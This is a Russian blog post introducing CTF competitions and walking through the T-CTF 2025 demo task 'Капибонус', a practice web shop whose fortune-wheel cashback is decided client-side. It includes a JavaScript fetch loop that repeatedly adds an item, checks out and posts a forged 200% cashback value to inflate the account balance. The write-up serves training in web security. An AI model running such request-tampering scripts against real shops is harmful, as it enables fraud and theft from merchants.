Найти в Дзене
Мысли CTO [CTO Thoughts]

CTF

Дисциплина Capture The Flag (CTF) — это командные соревнования по поиску и реализации уязвимостей в специально подготовленных для этого площадках. Целью соревнований является нахождение спрятанных флагов, созданных организаторами, которые могут быть найдены в ходе эксплуатации тех или иных уязвимостей системы. За получение каждого флага начисляются баллы. Простыми словами: CTF — соревнования для специалистов по безопасности (условно назовем их хакерами). Делятся на направления: веб, приложения, инфраструктура, криптография и т.д. В ближайшие выходные (с 19 по 20 апреля 2025 г.) будут проходить соревнования «T-CTF 2025» от Т-Банка. Формат соревнований — офлайн и онлайн. Ссылка на соревнование: https://t-ctf.ru/
Все желающие могут принять участие и прикоснуться к миру информационной безопасности. В рамках разминки создатели T-CTF выкладывают демо-задания перед началом соревнований. Также для демо-заданий дают информацию по способу их решения, поэтому каждый может, если возникли трудност
T-CTF 2025
T-CTF 2025

Дисциплина Capture The Flag (CTF) — это командные соревнования по поиску и реализации уязвимостей в специально подготовленных для этого площадках.

Целью соревнований является нахождение спрятанных флагов, созданных организаторами, которые могут быть найдены в ходе эксплуатации тех или иных уязвимостей системы. За получение каждого флага начисляются баллы.

Простыми словами: CTF — соревнования для специалистов по безопасности (условно назовем их хакерами).

Делятся на направления: веб, приложения, инфраструктура, криптография и т.д.

В ближайшие выходные (с 19 по 20 апреля 2025 г.) будут проходить соревнования «T-CTF 2025» от Т-Банка.

Формат соревнований — офлайн и онлайн.

Ссылка на соревнование: https://t-ctf.ru/

Все желающие могут принять участие и прикоснуться к миру информационной безопасности.

В рамках разминки создатели T-CTF выкладывают демо-задания перед началом соревнований.

Также для демо-заданий дают информацию по способу их решения, поэтому каждый может, если возникли трудности, прибегнуть к помощи и узнать, как решается то или иное задание.

Для данного поста скриншоты по этапам действий будут прикреплены ниже.

Регистрируемся на соревновании и получаем список заданий.

Например, попробуем «расковырять» задание «Капибонус» самостоятельно.

Описание задания:

Простое демо-задание — пример того, с чем можно столкнуться в Лиге разработки на простой сложности.
Добро пожаловать в Капиплейс — новый маркетплейс города.
Здесь за покупки дают возможность крутануть колесо Фортуны и выиграть разные призы. Да только никто ничего не может выиграть, хоть и тратят много денег. Попахивает мошенничеством!
Выиграйте 313 337 ₡ и выкупите алгоритм колеса у супермаркета, чтобы впредь удача улыбалась каждому покупателю.

Перейдем по ссылке — перед нами открылся обычный интернет-магазин. Регистрируемся.

Главная интернет-магазина
Главная интернет-магазина

Имеем следующие вводные:

Есть интернет-магазин, который дает приветственный бонус в виде 100 единиц для оплаты товаров.

При оплате есть возможность поучаствовать в розыгрыше и покрутить рулетку, которая предоставляет:

  • возврат 200% от стоимости товара;
  • вычитается с вашего счета минус 10%/20%/50% от стоимости товара;
  • 0 — не выиграли, не проиграли.

Также мы видим товар с названием: «Алгоритм Колеса Фортуны». Как можно догадаться, нам необходимо выкупить данный товар для решения задания.

Из очевидных моментов — это возможность рассмотреть сам механизм начисления бонусов и понять, как можно увеличить наш стартовый баланс из 100 до необходимой суммы в 313 337 единиц благодаря данному розыгрышу.

Откроем консоль разработчика (F12), вкладку Network в режиме «Preserve log», чтобы история запросов сохранялась после обновления страницы.

Добавим какой-нибудь недорогой товар, чтобы средств хватило на большее количество тестов, и попробуем его приобрести.

Добавление в корзину
Добавление в корзину

Запрос для добавления товара:

POST https://{HOSTNAME}.spbctf.org/cart/add/119
body пустое

В качестве указателя товара используется идентификатор в GET — 119. Товары хранятся в сессии.

Попробуем приобрести товар: перейдем в корзину и нажмем на кнопку «Оплатить».

Оформление заказа
Оформление заказа

Для оформления заказа запрос уходит на метод:

POST https://{HOSTNAME}.spbctf.org/checkout
body пустое

После завершения с нас списываются средства, и нас переводит на страницу с номером заказа.

Далее нам предлагается поучаствовать в самой рулетке — нажимаем на кнопку «Покрутить!».

Мне повезло с первого раза: выпал кэшбэк на 200 процентов.

Рулетка
Рулетка

Запрос рулетки:

POST https://{HOSTNAME}.spbctf.org/order/24140/set-cashback
BODY: {"cashback": 200}

И вот здесь стоит обратить внимание: в теле метода set-cashback мы видим указание на применяемый кэшбэк в 200.

Фактически сам кэшбэк рулетки определяется на стороне клиента (фронтенд), а затем уже сообщается серверу о том, какой результат выпал!

Так как мы можем влиять на запросы, которые от нас уходят, мы фактически можем подменять результаты всех розыгрышей на 200% кэшбэк.

Отлично, это уже способ нарастить баланс!

Попробуем расковырять его дальше и проверить, можем ли мы получить кэшбэк в размере, например, 20000%.

Повторяем операцию: добавляем товар и оформляем заказ.

При указании числа большего, чем 200, выдает статус 303, и кэшбэк не применяется.

Самый простой способ не удался — не получилось вписать большой процент, но рабочий механизм наращивания кэшбэка у нас уже есть.

Будем его использовать!

Наша задача — создать такое количество запросов, которое позволит нам получить баланс для оплаты товара на сумму 313 337.

Поехали: попробуем воспроизвести цикл добавления товара, оформления заказа и кэшбэка автоматически, чтобы не воспроизводить это дело руками.

Делать это будем там же, в консоли разработчика.

Запросы у нас уже есть в консоли — копируем их правой кнопкой мыши: «Copy as fetch».

Копируем запрос для дальнейшей вставки
Копируем запрос для дальнейшей вставки

Для реализации подобной логики потребуются небольшие знания программирования на JavaScript.

Сам запрос у нас уже есть — нужно составить цепочку запросов, которые идут друг за другом, и еще вытащить номер заказа для передачи следующему методу.

Давайте попробуем составить эту цепочку и выполнить в консоли.

Единственный момент: на самом сервисе магазина происходит редирект с HTTPS на HTTP, поэтому была добавлена опция в fetch: referrerPolicy: "unsafe-url", чтобы проигнорировать предупреждения браузера.

Вставляем в консоль скрипт
Вставляем в консоль скрипт

Вставляем все это дело в консоль разработчика и отправляем:

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded"
},
"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",
"referrerPolicy": "strict-origin-when-cross-origin",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
}).then(function() {
let url = "https://{HOSTNAME}.spbctf.org/checkout";
fetch(url, {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded"
},
"referrer": "https://{HOSTNAME}.spbctf.org/cart",
"referrerPolicy": "strict-origin-when-cross-origin",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
}).then(function(response) {
//здесь мы разбираем текущий url и получаем идентификатор заказа
var matches = response.url.match(/order\/(\d+)$/);
//далее этот идентификатор заказа используем для получения кэшбэка
fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {
"headers": {
"accept": "*/*",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/json"
},
"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\"cashback\":200}",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
});
})
})

Отлично, баланс изменяется автоматически после каждого выполнения кода в консоли.

Обновим товар на более дорогой, чтобы получать больший кэшбэк.

В строке добавления в корзину меняем 119 на ID нужного товара.

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119"

Посмотреть идентификатор товара можно через вкладку Network при добавлении товара либо через Elements в консоли разработчика (ПКМ на кнопке «Купить» → «Просмотреть код»).

Получаем идентификатор товара
Получаем идентификатор товара

Теперь автоматизируем отправку запросов в цикле, чтобы не вызывать их вручную.

Добавим цикл и сделаем так, чтобы запросы выполнялись последовательно. Для этого используем async/await.

Итоговый код:

for (let i = 0; i < 9; i++) {
await fetch("https://{HOSTNAME}.spbctf.org/cart/add/124", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded"
},
"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",
"referrerPolicy": "strict-origin-when-cross-origin",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
}).then(async function() {
let url = "https://{HOSTNAME}.spbctf.org/checkout";
await fetch(url, {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded"
},
"referrer": "https://{HOSTNAME}.spbctf.org/cart",
"referrerPolicy": "strict-origin-when-cross-origin",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
}).then(async function(response) {
console.log(response);
//здесь мы разбираем текущий url и получаем идентификатор заказа
var matches = response.url.match(/order\/(\d+)$/);
//далее этот идентификатор заказа используем для получения кэшбэка
await fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {
"headers": {
"accept": "*/*",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/json"
},
"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\"cashback\":200}",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
});
});
});
}

На выходе получаем конструкцию, которая позволяет наращивать баланс благодаря уязвимости в механизме кэшбэка.

Когда баланс достигает 313 337 ₡, покупаем товар «Алгоритм Колеса Фортуны», получаем ключ и вводим его в личном кабинете CTF.

Итоговый результат
Итоговый результат

Задание выполнено!

----

🚀 Читайте мои посты раньше всех — подписывайтесь на мой Телеграм канал! 🚀

Мысли CTO [CTO Thoughts]